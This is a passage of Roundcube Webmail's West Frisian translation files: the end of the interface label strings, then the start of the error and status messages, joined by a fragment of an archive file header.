$labels['jul'] = 'jul';
$labels['aug'] = 'aug';
$labels['sep'] = 'sep';
$labels['oct'] = 'okt';
$labels['nov'] = 'nov';
$labels['dec'] = 'des';
$labels['longjan'] = 'jannewaris';
$labels['longfeb'] = 'febrewaris';
$labels['longmar'] = 'maart';
$labels['longapr'] = 'april';
$labels['longmay'] = 'maaie';
$labels['longjun'] = 'juny';
$labels['longjul'] = 'july';
$labels['longaug'] = 'augustus';
$labels['longsep'] = 'septimber';
$labels['longoct'] = 'oktober';
$labels['longnov'] = 'novimber';
$labels['longdec'] = 'desimber';
$labels['today'] = 'Hjoed';
$labels['refresh'] = 'Ferfarskje';
$labels['checkmail'] = 'Op nije berjochten kontrolearje';
$labels['compose'] = 'Opstelle';
$labels['writenewmessage'] = 'Nij berjocht oanmeitsje';
$labels['reply'] = 'Beäntwurdzje';
$labels['replytomessage'] = 'Antwurd oan stjoerder';
$labels['replytoallmessage'] = 'Antwurd nei lyst of nei stjoerder en alle ûntfangers';
$labels['replyall'] = 'Antwurdzje alle';
$labels['replylist'] = 'Antwurdzje lyst';
$labels['forward'] = 'Trochstjoere';
$labels['forwardinline'] = 'Ynsletten trochstjoere';
$labels['forwardattachment'] = 'Trochstjoere as taheaksel';
$labels['forwardmessage'] = 'Stjoer it berjocht troch';
$labels['deletemessage'] = 'Berjocht wiskje';
$labels['movemessagetotrash'] = 'Berjocht ferpleatse nei jiskefet';
$labels['printmessage'] = 'Dit berjocht ôfdrukke';
$labels['previousmessage'] = 'Lit foarige berjocht sjen';
$labels['firstmessage'] = 'Lit earste berjocht sjen';
$labels['nextmessage'] = 'Lit folgjende berjocht sjen';
$labels['lastmessage'] = 'Lit lêste berjocht sjen';
$labels['backtolist'] = 'Tebek nei berjochtlyst';
$labels['viewsource'] = 'Toan boarne';
$labels['mark'] = 'Markearje';
$labels['markmessages'] = 'Markearje berjochten';
$labels['markread'] = 'As lêzen';
$labels['markunread'] = 'As net-lêzen';
$labels['markflagged'] = 'As flagge';
$labels['markunflagged'] = 'As net-flagge';
$labels['moreactions'] = 'Mear aksjes...';
$labels['markallread'] = 'Markearje alles as lêzen';
$labels['folders-cur'] = 'Allinnich selektearre map';
$labels['folders-sub'] = 'Selektearre map en ûnderlizzende mappen';
$labels['folders-all'] = 'Alle mappen';
$labels['more'] = 'Mear';
$labels['back'] = 'Tebek';
$labels['options'] = 'Opsjes';
$labels['first'] = 'Earst';
$labels['last'] = 'Lêst';
$labels['previous'] = 'Foarige';
$labels['next'] = 'Folgjende';
$labels['select'] = 'Selektearje';
$labels['all'] = 'Alle';
$labels['none'] = 'Gjin';
$labels['currpage'] = 'Aktuele side';
$labels['isread'] = 'Lêzen';
$labels['unread'] = 'Net-lêzen';
$labels['flagged'] = 'Flagge';
$labels['unflagged'] = 'Net-flagge';
$labels['unanswered'] = 'Unbeantwurde';
$labels['withattachment'] = 'Mei taheaksel';
$labels['deleted'] = 'Ferwidere';
$labels['undeleted'] = 'Net ferwidere';
$labels['replied'] = 'Antwurde';
$labels['forwarded'] = 'Trochstjoerd';
$labels['invert'] = 'Omkeart';
$labels['filter'] = 'Filter';
$labels['list'] = 'Lyst';
$labels['threads'] = 'Streamen';
$labels['expand-all'] = 'Alles útwreidzje';
$labels['expand-unread'] = 'Net-lêzen útwreidzje';
$labels['collapse-all'] = 'Alles ynsakje';
$labels['threaded'] = 'Streamde';
$labels['autoexpand_threads'] = 'Berjocht stream útwreidzje';
$labels['do_expand'] = 'Alle streamen';
$labels['expand_only_unread'] = 'Allinnich mei net-lêzen berjochten';
$labels['fromto'] = 'Fan/Nei';
$labels['flag'] = 'Flagge';
$labels['attachment'] = 'Taheaksel';
$labels['nonesort'] = 'Gjin';
$labels['sentdate'] = 'Ferstjoer datum';
$labels['arrival'] = 'Oankomst datum';
$labels['asc'] = 'oprinnend';
$labels['desc'] = 'delgeande';
$labels['listcolumns'] = 'Lyst kolommen';
$labels['listsorting'] = 'Skiftsje kolom';
$labels['listorder'] = 'Sorting oarder';
$labels['listmode'] = 'Lyst werjefte modus';
$labels['layout'] = 'Yndieling';
$labels['layoutwidescreen'] = 'Breedbyld';
$labels['layoutdesktop'] = 'Desktop';
$labels['layoutlist'] = 'Lyst';
$labels['folderactions'] = 'Map aksjes';
$labels['compact'] = 'Kompakt';
$labels['empty'] = 'Leech';
$labels['importmessages'] = 'Berjochten ymportearje';
$labels['quota'] = 'Skiifgebrûk';
$labels['unknown'] = 'ûnbekend';
$labels['unlimited'] = 'ûnbeheind';
$labels['quotatype'] = 'Kwota type';
$labels['quotatotal'] = 'Beheining';
$labels['quotaused'] = 'Brûkt';
$labels['quotastorage'] = 'Skiifromte';
$labels['quotamessage'] = 'Oantal berjochten';
$labels['quicksearch'] = 'Fluch sykje';
$labels['resetsearch'] = 'Sykopdracht wiskje';
$labels['searchmod'] = 'Syk modifikaasjes';
$labels['msgtext'] = 'Hiele berjocht';
$labels['body'] = 'Ynhâld';
$labels['type'] = 'Type';
$labels['namex'] = 'Namme';
$labels['searchscope'] = 'Berik';
$labels['currentfolder'] = 'Aktuele map';
$labels['subfolders'] = 'Dizze en ûnderlizzende mappen';
$labels['allfolders'] = 'Alle mappen';
$labels['searchinterval-1W'] = 'Alder as in wike';
$labels['searchinterval-1M'] = 'Alder as in moanne';
$labels['searchinterval-1Y'] = 'Alder as in jier';
$labels['searchinterval1W'] = 'Nijer as in wike';
$labels['searchinterval1M'] = 'Nijer as in moanne';
$labels['searchinterval1Y'] = 'Nijer as in jier';
$labels['openinextwin'] = 'Iepenje yn nij finster';
$labels['emlsave'] = 'Ynlade (.eml)';
$labels['changeformattext'] = 'Toan yn gewoane tekst';
$labels['changeformathtml'] = 'Toan yn HTML formaat';
$labels['editasnew'] = 'Bewurkje as nij';
$labels['send'] = 'Ferstjoere';
$labels['sendmessage'] = 'Berjocht ferstjoere';
$labels['savemessage'] = 'Bewarje as konsept';
$labels['addattachment'] = 'In bestân taheakje';
$labels['charset'] = 'Tekenset';
$labels['editortype'] = 'Bewurker type';
$labels['returnreceipt'] = 'Untfangst werom stjoere';
$labels['dsn'] = 'Levering status notifikaasje';
$labels['mailreplyintro'] = 'Op $date, skreau $sender:';
$labels['originalmessage'] = 'Oarspronklik Berjocht';
$labels['selectimage'] = 'Ofbylding selektearje';
$labels['addimage'] = 'Ofbylding tafoegje';
$labels['selectmedia'] = 'Fideo selektearje';
$labels['addmedia'] = 'Fideo tafoegje';
$labels['encrypt'] = 'Fersiferje';
$labels['encryptmessage'] = 'Berjocht fersiferje';
$labels['encryptmessagemailvelope'] = 'Berjocht fersiferje mei Mailvelope';
$labels['importpubkeys'] = 'Publike kaaien ymportearje';
$labels['encryptedsendialog'] = 'Fersifere berjocht ferstjoere';
$labels['keyid'] = 'Kaai ID';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Ferrûn';
$labels['keyrevoked'] = 'Ynlutsen';
$labels['bccinstead'] = 'Bcc brûke';
$labels['insert'] = 'Ynfoegje';
$labels['editidents'] = 'Identiteiten bewurkje';
$labels['spellcheck'] = 'Stavering';
$labels['checkspelling'] = 'Stavering kontrolearje';
$labels['resumeediting'] = 'Bewurkje ferfetsje';
$labels['revertto'] = 'Tebeksette nei';
$labels['restore'] = 'Weromsette';
$labels['restoremessage'] = 'Berjocht weromsette?';
$labels['ignore'] = 'Negearje';
$labels['responses'] = 'Antwurden';
$labels['insertresponse'] = 'In antwurd ynfiere';
$labels['manageresponses'] = 'Antwurden beheare';
$labels['newresponse'] = 'Nij antwurd oanmeitsje';
$labels['addresponse'] = 'Antwurd tafoegje';
$labels['editresponse'] = 'Antwurd bewurkje';
$labels['editresponses'] = 'Antwurden bewurkje';
$labels['responsename'] = 'Namme';
$labels['responsetext'] = 'Antwurd tekst';
$labels['attach'] = 'Taheakje';
$labels['attachments'] = 'Taheaksels';
$labels['upload'] = 'Oplade';
$labels['uploadprogress'] = '$percent ($current fan $total)';
$labels['close'] = 'Slúte';
$labels['messageoptions'] = 'Berjocht opsjes...';
$labels['togglecomposeoptions'] = 'Komposysje opsjes skeakelje';
$labels['attachmentrename'] = 'Taheaksel omneame';
$labels['low'] = 'Leech';
$labels['lowest'] = 'Leechste';
$labels['normal'] = 'Normaal';
$labels['high'] = 'Heech';
$labels['highest'] = 'Heechste';
$labels['nosubject'] = '(gjin ûnderwerp)';
$labels['showimages'] = 'Ofbyldings toane';
$labels['alwaysshow'] = 'Ofbyldings fan $sender altyd toane';
$labels['isdraft'] = 'Dit is in konsept berjocht';
$labels['andnmore'] = '$nr mear...';
$labels['togglemoreheaders'] = 'Mear berjocht koppen toane';
$labels['togglefullheaders'] = 'Ruwe berjocht koppen skeakelje';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Gewoane tekst';
$labels['savesentmessagein'] = 'Bewarje ferstjoerd berjoch yn';
$labels['dontsave'] = 'net bewarje';
$labels['maxuploadsize'] = 'Maksimum bestâns grutte is $size';
$labels['addcc'] = 'CC tafoegje';
$labels['addbcc'] = 'BCC tafoegje';
$labels['addreplyto'] = 'Reagearje-Op Tafoegje';
$labels['addfollowupto'] = 'Ferfolch-Op Tafoegje';
$labels['mdnrequest'] = 'De stjoerder fan dit berjocht hat frege om op de hichte brocht te wurden as jo dit berjocht lêzen hawwe. Wolle jo de ôfstjoerder op de hichte bringe?';
$labels['receiptread'] = 'Weromstjoerd Untfangstbewiis (lêzen)';
$labels['yourmessage'] = 'Dit is in Weromstjoerd Untfangstbewiis foar jo berjocht';
$labels['receiptnote'] = 'Tink derom: Dit ûntfangstbewiis erkent allinnich dat it berjocht waard werjûn op de kompjûter fan ûntfanger. Der is gjin garânsje dat de ûntfanger de berjocht ynhâld lêzen of begrepen hat.';
$labels['name'] = 'Skerm Namme';
$labels['firstname'] = 'Foarnamme';
$labels['surname'] = 'Achternamme';
$labels['middlename'] = 'Twadde Namme';
$labels['nameprefix'] = 'Foarheaksel';
$labels['namesuffix'] = 'Efterheaksel';
$labels['nickname'] = 'Skûlnamme';
$labels['jobtitle'] = 'Funksjenamme';
$labels['department'] = 'Ofdieling';
$labels['gender'] = 'Geslacht';
$labels['maidenname'] = 'Famkesnamme';
$labels['email'] = 'E-post';
$labels['phone'] = 'Telefoannûmer';
$labels['address'] = 'Adres';
$labels['street'] = 'Strjitte';
$labels['locality'] = 'Doarp/Stêd';
$labels['zipcode'] = 'Postkoade';
$labels['region'] = 'Provinsje';
$labels['country'] = 'Lân';
$labels['birthday'] = 'Jierdei';
$labels['anniversary'] = 'Troudei';
$labels['website'] = 'Webstee';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Notysjes';
$labels['male'] = 'man';
$labels['female'] = 'frou';
$labels['manager'] = 'Behearder';
$labels['assistant'] = 'Assistint';
$labels['spouse'] = 'Echtgenoat';
$labels['allfields'] = 'Alle fjilden';
$labels['search'] = 'Sykje';
$labels['searchresult'] = 'Syk risseltaten';
$labels['advsearch'] = 'Avansearre Sykje';
$labels['advanced'] = 'Avansearre';
$labels['other'] = 'Oars';
$labels['printcontact'] = 'Kontakt ôfdrukke';
$labels['qrcode'] = 'QR Koade';
$labels['typehome'] = 'Thús';
$labels['typework'] = 'Wurk';
$labels['typeother'] = 'Oars';
$labels['typemobile'] = 'Mobyl';
$labels['typemain'] = 'Foarnaamste';
$labels['typehomefax'] = 'Fax Thús';
$labels['typeworkfax'] = 'Fax Wurk';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Pieper';
$labels['typevideo'] = 'Fideo';
$labels['typeassistant'] = 'Assistint';
$labels['typehomepage'] = 'Thússide';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profyl';
$labels['addfield'] = 'Fjild tafoegje';
$labels['addcontact'] = 'Kontakt tafoegje';
$labels['editcontact'] = 'Kontakt bewurkje';
$labels['contacts'] = 'Kontakten';
$labels['contactproperties'] = 'Kontakt eigenskippen';
$labels['contactnameandorg'] = 'Namme en Organisaasje';
$labels['personalinfo'] = 'Persoanlike ynformaasje';
$labels['personal'] = 'Persoanlik';
$labels['contactphoto'] = 'Kontakt foto';
$labels['edit'] = 'Bewurkje';
$labels['cancel'] = 'Annulearje';
$labels['save'] = 'Bewarje';
$labels['delete'] = 'Fuortsmite';
$labels['rename'] = 'Omneame';
$labels['addphoto'] = 'Tafoegje';
$labels['replacephoto'] = 'Ferfange';
$labels['uploadphoto'] = 'Foto oplade';
$labels['newcontact'] = 'Nij kontakt oanmeitsje';
$labels['deletecontact'] = 'Selektearre kontakten ferwiderje';
$labels['composeto'] = 'Skriuw berjocht oan';
$labels['contactsfromto'] = 'Kontakten $from oant $to fan $count';
$labels['print'] = 'Ofdrukke';
$labels['export'] = 'Eksportearje';
$labels['exportall'] = 'Alles eksportearje';
$labels['exportsel'] = 'Selektearre eksportearje';
$labels['exportvcards'] = 'Kontakten eksportearje yn vCard formaat';
$labels['newgroup'] = 'Nije groep oanmeitsje';
$labels['addgroup'] = 'Groep tafoegje';
$labels['grouprename'] = 'Groep omneame';
$labels['groupdelete'] = 'Groep ferwiderje';
$labels['groupremoveselected'] = 'Selektearre kontakten út groep ferwiderje';
$labels['uponelevel'] = 'Ien nivo omheech';
$labels['previouspage'] = 'Lit foarige side sjen';
$labels['firstpage'] = 'Lit earste side sjen';
$labels['nextpage'] = 'Lit folgjende side sjen';
$labels['lastpage'] = 'Lit lêste side sjen';
$labels['group'] = 'Groep';
$labels['groups'] = 'Groepen';
$labels['listgroup'] = 'Groep leden yn lyst';
$labels['personaladrbook'] = 'Persoanlike adressen';
$labels['searchsave'] = 'Sykopdracht bewarje';
$labels['searchdelete'] = 'Sykopdracht wiskje';
$labels['import'] = 'Ymportearje';
$labels['importcontacts'] = 'Kontakten ymportearje';
$labels['importtarget'] = 'Kontakten tafoegje oan';
$labels['importreplace'] = 'It hiele adresboek ferfange';
$labels['importgroups'] = 'Ymportearje groep opdrachten';
$labels['importgroupsall'] = 'Alle (meitsje groepen oan wêr nedich)';
$labels['importgroupsexisting'] = 'Allinnich foar besteande groepen';
$labels['done'] = 'Klear';
$labels['settingsfor'] = 'Ynstellings foar';
$labels['about'] = 'Oer';
$labels['preferences'] = 'Foarkarren';
$labels['userpreferences'] = 'Brûkers foarkarren';
$labels['editpreferences'] = 'Brûkers foarkarren bewurkje';
$labels['identities'] = 'Identiteiten';
$labels['manageidentities'] = 'Identiteiten beheare';
$labels['newidentity'] = 'Nije identiteit oanmeitsje';
$labels['addidentity'] = 'Identiteit tafoegje';
$labels['editidentity'] = 'Identiteit bewurkje';
$labels['preferhtml'] = 'Toan HTML';
$labels['defaultcharset'] = 'Standert Teken Set';
$labels['htmlmessage'] = 'HTML Berjocht';
$labels['messagepart'] = 'Diel';
$labels['digitalsig'] = 'Digitale Hantekening';
$labels['dateformat'] = 'Datum formaat';
$labels['timeformat'] = 'Tiid formaat';
$labels['prettydate'] = 'Moaie datums';
$labels['setdefault'] = 'Set standert';
$labels['autodetect'] = 'Auto';
$labels['language'] = 'Taal';
$labels['timezone'] = 'Tiidsône';
$labels['pagesize'] = 'Rigen per side';
$labels['signature'] = 'Hantekening';
$labels['dstactive'] = 'Simmertiid';
$labels['showinextwin'] = 'Berjocht yn nij finster iepenje';
$labels['composeextwin'] = 'Skriuw yn in nij finster';
$labels['htmleditor'] = 'Skriuw HTML berjochten';
$labels['htmlonreply'] = 'Allinnich op HTML berjocht antwurdzje';
$labels['htmlonreplyandforward'] = 'op trochstjoerd of antwurd nei HTML berjocht';
$labels['htmlsignature'] = 'HTML hantekening';
$labels['showemail'] = 'Toan e-post adres mei skermnamme';
$labels['previewpane'] = 'Toan foarbyld skerm';
$labels['skin'] = 'Omjouwings tema';
$labels['logoutclear'] = 'Jiskefet leechje by útloggen';
$labels['logoutcompact'] = 'Komprimearje Postfek YN by útloggen';
$labels['uisettings'] = 'Brûkers omjouwing';
$labels['serversettings'] = 'Tsjinner Ynstellings';
$labels['mailboxview'] = 'Postfek Yndieling';
$labels['mdnrequests'] = 'Op fersyk by ûntfangstbewiis';
$labels['askuser'] = 'freegje my';
$labels['autosend'] = 'stjoer ûntfangstbewiis ';
$labels['autosendknown'] = 'stjoer ûntfangstbewiis nei kontakten, oars my freegje';
$labels['autosendknownignore'] = 'stjoer ûntfangstbewiis nei kontakten, oars negearje';
$labels['ignorerequest'] = 'fersyk negearje';
$labels['readwhendeleted'] = 'Markearje berjocht as lêzen by wiskjen';
$labels['flagfordeletion'] = 'Berjocht flagje foar wiskjen yn pleats fan wiskjen';
$labels['skipdeleted'] = 'Wiske berjochten net sjen litte';
$labels['deletealways'] = 'As berjochten nei Jiskefet ferpleatse mislearret, wiskje';
$labels['deletejunk'] = 'Berjochten yn Jiskefet fuort wiskje';
$labels['showremoteimages'] = 'Werjaan eksterne ynsletten ôfbyldings';
$labels['fromknownsenders'] = 'fan bekende stjoerders';
$labels['always'] = 'altyd';
$labels['alwaysbutplain'] = 'Altyd, útsein as antwurde wurd yn gewoane tekst';
$labels['showinlineimages'] = 'Lit taheake ôfbyldings ûnder it berjocht sjen';
$labels['autosavedraft'] = 'Konsept automatysk bewarje';
$labels['everynminutes'] = 'eltse $n minút(en)';
$labels['refreshinterval'] = 'Ferfarskje (op nije berjochten kontrolearje, ensaf.)';
$labels['never'] = 'nea';
$labels['immediately'] = 'fuortendaliks';
$labels['messagesdisplaying'] = 'Berjochten Toane';
$labels['messagescomposition'] = 'Berjochten Skriuwe';
$labels['mimeparamfolding'] = 'Taheaksel nammen';
$labels['2231folding'] = 'Fol RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Fol RFC 2047 (other)';
$labels['force7bit'] = 'Brûk MIME fersifering foar 8-bit tekens';
$labels['savelocalstorage'] = "Bewarje yn lokale opslach fan de browser (tydlik)";
$labels['advancedoptions'] = 'Avansearre opsjes';
$labels['toggleadvancedoptions'] = 'Avansearre opsjes skeakelje';
$labels['focusonnewmessage'] = 'Fokus browser finster by nij berjocht';
$labels['checkallfolders'] = 'Kontrolearje alle mappen op nije berjochten';
$labels['defaultfont'] = 'Standert lettertype fan HTML berjocht';
$labels['mainoptions'] = 'Haad Opsjes';
$labels['browseroptions'] = 'Browser Opsjes';
$labels['section'] = 'Seleksje';
$labels['maintenance'] = 'Underhâld';
$labels['newmessage'] = 'Nij Berjocht';
$labels['signatureoptions'] = 'Hantekening Opsjes';
$labels['whenreplying'] = 'By beäntwurdzjen';
$labels['replyempty'] = 'It oarspronklike berjocht net sitearje';
$labels['replytopposting'] = 'begjinne nij berjocht boppe de sitaat';
$labels['replybottomposting'] = 'begjinne nij berjocht ûnder de sitaat';
$labels['replyremovesignature'] = 'By it beäntwurdzjen oarspronklike hântekening fan berjocht wiskje';
$labels['autoaddsignature'] = 'Automatysk hantekening tafoegje';
$labels['newmessageonly'] = 'allinnich nije berjochten';
$labels['replyandforwardonly'] = 'by antwurdzjen en trochstjoeren';
$labels['insertsignature'] = 'Hantekening ynfoegje';
$labels['sigbelow'] = 'Hantekening ûnder it siteare berjocht';
$labels['sigseparator'] = 'Forsearje standert skiedingsteken yn hantekenings';
$labels['afternseconds'] = 'nei $n sekonden';
$labels['reqmdn'] = 'Freegje altyd in ûntfangstbewiis';
$labels['reqdsn'] = 'Freegje altyd in levering status notifikaasje';
$labels['replysamefolder'] = 'Set antwurden yn de map fan it berjocht dêr\'t op antwurde wurd';
$labels['defaultabook'] = 'Standert adresboek';
$labels['autocompletesingle'] = 'Sla alternative e-post adressen oer yn autokompleet';
$labels['listnamedisplay'] = 'Kontakten yn lyst as';
$labels['spellcheckbeforesend'] = 'Kontrolearje de stavering foar it ferstjoeren fan in berjocht';
$labels['spellcheckoptions'] = 'Staverings Opsjes';
$labels['spellcheckignoresyms'] = 'Negearje wurden mei symboalen';
$labels['spellcheckignorenums'] = 'Negearje wurden mei sifers';
$labels['spellcheckignorecaps'] = 'Negearje wurden mei alle letters as haadletters';
$labels['addtodict'] = 'Taheakje oan wurdboek';
$labels['mailtoprotohandler'] = 'Registrearje protokol handler foar mailto: keppelings';
$labels['standardwindows'] = 'Omgean mei popups as standert finsters';
$labels['forwardmode'] = 'Berjocht trochstjoeren';
$labels['inline'] = 'ynsletten';
$labels['asattachment'] = 'as taheaksel';
$labels['replyallmode'] = 'Standert aksje foar [Alles beäntwurdzje] knop';
$labels['replyalldefault'] = 'op alles antwurdzje';
$labels['replyalllist'] = 'allinnich antwurdzje nei mailing lyst (wêr fûn)';
$labels['folder'] = 'Map';
$labels['folders'] = 'Mappen';
$labels['foldername'] = 'Map namme';
$labels['subscribed'] = 'Ynskreaun';
$labels['messagecount'] = 'Berjochten';
$labels['create'] = 'Oanmeitsje';
$labels['createfolder'] = 'Nije map oanmeitsje';
$labels['managefolders'] = 'Mappen beheare';
$labels['specialfolders'] = 'Spesjale Mappen';
$labels['properties'] = 'Eigenskippen';
$labels['folderproperties'] = 'Map eigenskippen';
$labels['parentfolder'] = 'Boppelizzende map';
$labels['location'] = 'Lokaasje';
$labels['info'] = 'Ynformaasje';
$labels['getfoldersize'] = 'Klik om map grutte te krijen';
$labels['changesubscription'] = 'Klik om ynskriuwing te feroarjen';
$labels['foldertype'] = 'Map Type';
$labels['personalfolder'] = 'Privee Map';
$labels['otherfolder'] = 'Oare Brûker\'s Map';
$labels['sharedfolder'] = 'Publike Map';
$labels['findfolders'] = 'Mappen fine';
$labels['namespace.personal'] = 'Persoanlik';
$labels['namespace.other'] = 'Oare brûkers';
$labels['namespace.shared'] = 'Dielt';
$labels['sortby'] = 'Sortearje op';
$labels['sortasc'] = 'Sortearje oprinnend';
$labels['sortdesc'] = 'Sortearje delgeand';
$labels['undo'] = 'Ungedien meitsje';
$labels['installedplugins'] = 'Ynstallearre ynstekkers';
$labels['plugin'] = 'Ynstekker';
$labels['version'] = 'Ferzje';
$labels['source'] = 'Boarne';
$labels['license'] = 'Lisinsje';
$labels['support'] = 'Krij help';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Ingelsk';
$labels['westerneuropean'] = 'West Europeesk';
$labels['easterneuropean'] = 'East Europeesk';
$labels['southeasterneuropean'] = 'Súd-East Europeesk';
$labels['baltic'] = 'Baltysk';
$labels['cyrillic'] = 'Syrillysk';
$labels['arabic'] = 'Arabysk';
$labels['greek'] = 'Gryksk';
$labels['hebrew'] = 'Hebrieuwsk';
$labels['turkish'] = 'Turksk';
$labels['nordic'] = 'Noardsk';
$labels['thai'] = 'Taisk';
$labels['celtic'] = 'Keltysk';
$labels['vietnamese'] = 'Fietnameesk';
$labels['japanese'] = 'Japansk';
$labels['korean'] = 'Koreaansk';
$labels['chinese'] = 'Sineesk';
$labels['arialabeltopnav'] = 'Finster kontrôle';
$labels['arialabeltasknav'] = 'Applikaasje taken';
$labels['arialabeltoolbar'] = 'Applikaasje arkbalke';
$labels['arialabelactivetask'] = 'Aktive taak';
$labels['arialabelmessagessearchfilter'] = 'E-post fermelding filter';
$labels['arialabelmailsearchform'] = 'E-post berjocht syk formulier';
$labels['arialabelcontactsearchform'] = 'Kontakt syk formulier';
$labels['arialabelmailquicksearchbox'] = 'E-post sykje ynbring';
$labels['arialabelquicksearchbox'] = 'Sykje ynbring';
$labels['arialabelfoldersearchfilter'] = 'Map fermelding filter';
$labels['arialabelfoldersearchform'] = 'Map syk formulier';
$labels['arialabelfolderlist'] = 'E-post map seleksje';
$labels['arialabelmessagelist'] = 'E-post Berjocht Fermelding';
$labels['arialabelmailpreviewframe'] = 'Berjocht foarbyld';
$labels['arialabelmailboxmenu'] = 'Map aksje menu';
$labels['arialabellistselectmenu'] = 'Lyst seleksje menu';
$labels['arialabelthreadselectmenu'] = 'Stream fermelding menu';
$labels['arialabelmessagelistoptions'] = 'Berjocht lyst werjefte en sortearjen opsjes';
$labels['arialabelmailimportdialog'] = 'Berjocht ymport skerm';
$labels['arialabelmessagenav'] = 'Berjocht navigaasje';
$labels['arialabelmessagebody'] = 'Berjocht Ynhâld';
$labels['arialabelmessageactions'] = 'Berjocht aksjes';
$labels['arialabelcontactquicksearch'] = 'Kontakten syk formulier';
$labels['arialabelcontactsearchbox'] = 'Kontakt syk ynbring';
$labels['arialabelmessageheaders'] = 'Berjocht koppen';
$labels['arialabelforwardingoptions'] = 'Trochstjoer opsjes';
$labels['arialabelreplyalloptions'] = 'Antwurdzje-alle opsjes';
$labels['arialabelmoremessageactions'] = 'Mear berjocht aksjes';
$labels['arialabelmarkmessagesas'] = 'Markearje selektearre berjochten as...';
$labels['arialabelcomposeoptions'] = 'Skriuw opsjes';
$labels['arialabelresponsesmenu'] = 'Ynblikte antwurden menu';
$labels['arialabelattachmentuploadform'] = 'Taheaksel oplaad formulier';
$labels['arialabelattachmentpreview'] = 'Taheaksel foarbyld';
$labels['ariasummarycomposecontacts'] = 'Lyst fan kontakten en groepen te selektearjen as ûntfangers';
$labels['arialabelcontactexportoptions'] = 'Kontakt eksport opsjes';
$labels['arialabelabookgroupoptions'] = 'Adresboek/groep opsjes';
$labels['arialabelpreferencesform'] = 'Foarkarren formulier';
$labels['arialabelidentityeditfrom'] = 'Identiteit bewurkings formulier';
$labels['arialabelresponseeditfrom'] = 'Antwurd bewurkings formulier';
$labels['arialabelsearchterms'] = 'Syktermen';
$labels['helplistnavigation'] = 'Lyst toetseboerd navigaasje';
$labels['helplistkeyboardnavigation'] = "Pylken op/del: Beweegje rige fokus/seleksje.
Spatie: Selektearje fokuse rige.
Shift + op/del: Selektearje oanfoljende rige boppe/ûnder.
Ctrl + Spatie: Foegje fokuse rige ta oan seleksje/ferwiderje fan seleksje.";
$labels['helplistkeyboardnavmessages'] = "Pylken rjochts/lofts: útwreidzje/ynsakje berjocht stream (allinnich yn stream modus).
Enter: Iepenje it selektearre/fokuse berjocht.
Delete: Ferpleats selektearre berjocht nei jiskefet.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Iepenje it selektearre/fokuse kontakt.";
PK
h�\>�
�9�9'program/localization/fy_NL/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Der is in flater bard!';
$messages['loginfailed']  = 'Ynloggen mislearre.';
$messages['cookiesdisabled'] = 'Jo browser akseptearret gjin koekjes.';
$messages['sessionerror'] = 'Jo sesje is ûnjildich of ferrûn.';
$messages['storageerror'] = 'Ferbining mei opslach tsjinner mislearre.';
$messages['servererror'] = 'Tsjinner Flater!';
$messages['servererrormsg'] = 'Tsjinner Flater: $msg';
$messages['accountlocked'] = 'Ynloggen te faak mislearre. Besykje it letter nochris.';
$messages['connerror'] = 'Ferbinings Flater (Kin de tsjinner net berikke)!';
$messages['dberror'] = 'Databank Flater!';
$messages['windowopenerror'] = 'De popup finster waard blokkearre!';
$messages['requesttimedout'] = 'Fersyk ferrûn';
$messages['errorreadonly'] = 'Koe operaasje net útfiere. Map kin allinnich lêzen wurde.';
$messages['errornoperm'] = 'Koe operaasje net útfiere. Tastimming wegere.';
$messages['erroroverquota'] = 'Koe operaasje net útfiere. Gjin frije skiifromte.';
$messages['erroroverquotadelete'] = 'Gjin frije skiifromte. Brûk Shift + DEL om in berjocht te wiskjen.';
$messages['invalidrequest'] = 'Ûnjildich fersyk! Gjin data waard bewarre.';
$messages['invalidhost'] = 'Unjildige tsjinner namme.';
$messages['nomessagesfound'] = 'Gjin berjochten fûn yn dit postfek.';
$messages['mailboxempty'] = 'Postfek is leech';
$messages['nomessages'] = 'Gjin berjochten';
$messages['refreshing'] = 'Ferfarskje...';
$messages['loading'] = 'Lade...';
$messages['uploading'] = 'Bestân oplade...';
$messages['attaching'] = 'Bestân tafoegje...';
$messages['uploadingmany'] = 'Bestânnen oplade...';
$messages['loadingdata'] = 'Data lade...';
$messages['checkingmail'] = 'Kontrolearje op nije berjochten...';
$messages['sendingmessage'] = 'Berjocht ferstjoere...';
$messages['messagesent'] = 'Berjocht mei sukses ferstjoerd.';
$messages['savingmessage'] = 'Berjocht bewarje...';
$messages['messagesaved'] = 'Berjocht bewarre yn ûntwerpen.';
$messages['successfullysaved'] = 'Mei sukses bewarre.';
$messages['savingresponse'] = 'Antwurd tekst bewarje...';
$messages['deleteresponseconfirm'] = 'Wolle jo dizze antwurd tekst echt wiskje?';
$messages['addedsuccessfully'] = 'Kontakt mei sukses taheakke oan adresboek.';
$messages['contactexists'] = 'In kontakt mei deselde e-post adres bestiet al.';
$messages['contactnameexists'] = 'In kontakt mei deselde namme bestiet al.';
$messages['blockedimages'] = 'Om jo privacy te beskermjen binne eksterne ôfbyldingen blokkeare yn dit berjocht.';
$messages['encryptedmessage'] = 'Dit is in fersifere berjocht en kin net werjûn wurde. Sorry!';
$messages['externalmessagedecryption'] = 'Dit is in fersifere berjocht en kin ûntsifere wurde mei jo browser ekstinsje.';
$messages['nopubkeyfor'] = 'Gjin jildich iepenbiere kaai fûn foar $email';
$messages['nopubkeyforsender'] = 'Gjin jildich iepenbiere kaai fûn foar jo stjoerder identiteit. Wolle jo it berjocht allinnich foar de ûntfangers fersiferje?';
$messages['encryptnoattachments'] = 'Al oanbeane taheaksels kinne net fersifere wurde. Asjebleaft op \'e nij taheakje yn de fersifering bewurker.';
